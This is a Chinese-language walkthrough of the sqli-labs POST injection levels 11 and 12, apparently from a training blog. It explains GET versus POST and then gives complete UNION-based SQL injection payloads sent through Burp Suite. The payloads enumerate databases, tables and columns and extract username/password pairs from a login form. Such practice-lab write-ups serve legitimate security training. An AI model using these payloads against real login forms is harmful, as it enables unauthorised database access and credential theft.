1:GET
2:POST
3:Head
4:Put
5:Delete
6:Connect
7:Options
8:Trace
那么这里是典型的POST注入,那么注入点就是在POST数据中,而POST请求往往代表着用户向服务器提交了大量的数据请求,行为有包括文件上传,表单提交,按钮时间,这里分析是用户的登陆动作,那么肯定要对输入的用户名和密码带入数据库进行查询,接下来我们就把提交的用户名和密码直接替换成我们的测试语句;
1:这里我们可以使用burpsuite和hackbar都可以完成测试,这里我们选择使用Burpsuite
2:设置的好浏览器的代理,输入账号密码,点击提交在BP中进行拦截显示
表单注入需要掌握的知识点
需要用到burp sutie(抓包改包,暴力破解工具)https://portswigger.net/burp
//官网
还需要用到的谷歌或者火狐做代理
咱们前10关是基于get型的注入
现在的是post注入
get是通过url传参
而post的传参是通过表单,咱们来看一下定义和区别
GET和POST是HTTP请求的两种基本方法
最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。
GET在浏览器回退时是无害的,而POST会再次提交请求。 GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。 GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。 GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。 GET参数通过URL传递,POST放在Request
body中。
我们掌握了上述知识,我们就开始我们的闯关之旅
第十一关
(基于post的简单注入点)
源码分析
可以看到图通过post传参过来的username和password都是用单引号包裹着的
那么我们猜测是不是他的闭合字符为单引号
那么我们通过浏览器的表单随便猜一下(抓个包试一下)
看一下抓的包
抓的包如果想要修改包的话,需要发送到repeater模块
我们看一下响应
看到这个响应的内容咱们爆出的数据库的内容肯定会出现在这里
或者我们看一下
直观上的响应
也会给我们输入到屏幕上
开搞
一、判断注入点
1.判断闭合字符
uname=admin'&passwd=admin&submit=Submit
加了一个单引号
发现报错了也没注释后面的语句
咱们再判断一下其他的闭合字符
uname=admin"&passwd=admin&submit=Submit
咱们加了一个双引号,发现没报错,证明闭合字符不是双引号
2.注释掉后面的语句
uname=admin' and 1=1 --+&passwd=admin&submit=Submit
and 1=1 --+恒为真时,执行成功uname=admin' and 1=2 --+&passwd=admin&submit=Submit
and 1=2 --+恒为假是,执行错误,发现注入点是基于单引号的字符型注入
二、判断字段
uname=admin' order by 3 --+&passwd=admin&submit=Submit
发现字段小于3uname=admin' order by 2 --+&passwd=admin&submit=Submit
发现字段数只有2
三、构造payload
1.咱们基于第一关的查询语句构造联合查询语句
uname=admin’ &passwd= ' union select 1,2 --+&submit=Submit
由于他只在uname和passwd表单中输出到屏幕上内容,uname闭合了,所以让passwd输出那个查询哪个语句
构造成功,开始干
2:我们来查询相关数据:当前用户/数据库名/MySQL程序安装目录
uname=admin' &passwd=union select 1,group_concat(user(),@@datadir,database()) --+&submit=Submit
由于看哪个屏幕响应显示详细数据不清楚
,我们就换成raw哪个
2.查询查出哪个库名下的所有的表名(security)
uname=admin' &passwd=union select 1,group_concat( table_name) from information_schema.tables where table_schema=database() --+&submit=Submit
3.爆表里面的字段
uname=admin' &passwd=union select 1,group_concat( column_name) from information_schema.columns where table_name="users" --+&submit=Submit
4.爆字段里面的数据
uname=admin' &passwd=union select 1,group_concat( username,'/',password) from users --+&submit=Submit
第十二关
源码分析
由于传参时候进行了两层过滤,所以他的闭合字符是(“”)
判断注入点:
uname=admin’ &passwd=a&submit=Submit
我们先输入错误的密码,发现屏幕什么都没有发现
然后我们先判断一下闭合字符看看报错效果
单引号和之前的回显页面一样
双引号报错
uname=admin"&passwd=a&submit=Submit
注释一下uname=admin" and 1=1 --+&passwd=a&submit=Submit(恒为真都报错)
发现回显还是报错
证明闭合点可能是基于双引号的包裹
加一个括号试试
uname=admin") and 1=1 --+&passwd=a&submit=Submit
发现密码是错的,回显都正确了,是不是又有什么思想了(后台管理万能密钥)
构造payload
uname=admin &passwd=a") union select 1,2 #&submit=Submit
注意:如果passwd上有数据,就要把闭合字符放在第二个传参的变量上
总结
如果passwd没有数据,就把闭合字符放在uname上,就是第一个变量上
如果passwd上有数据,就要把闭合字符放在第二个传参的变量上